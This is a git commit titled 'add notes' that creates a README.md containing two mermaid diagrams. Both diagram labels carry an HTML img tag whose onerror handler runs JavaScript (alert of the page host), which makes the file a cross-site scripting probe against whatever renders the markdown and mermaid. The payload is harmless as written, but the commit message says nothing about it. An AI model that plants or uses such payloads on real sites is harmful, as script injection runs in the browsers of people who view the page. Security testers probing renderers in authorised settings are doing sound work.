commit 9b973e8c7c39ff049e4af598d7dd06c2112f91d0
Author: secrd9vzz0i <secrd9vzz0i@example.com>
Date:   Sun Sep 27 15:43:18 2026 +0530

    add notes

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..9faf4df
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+++ b/README.md
@@ -0,0 +1,12 @@
+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```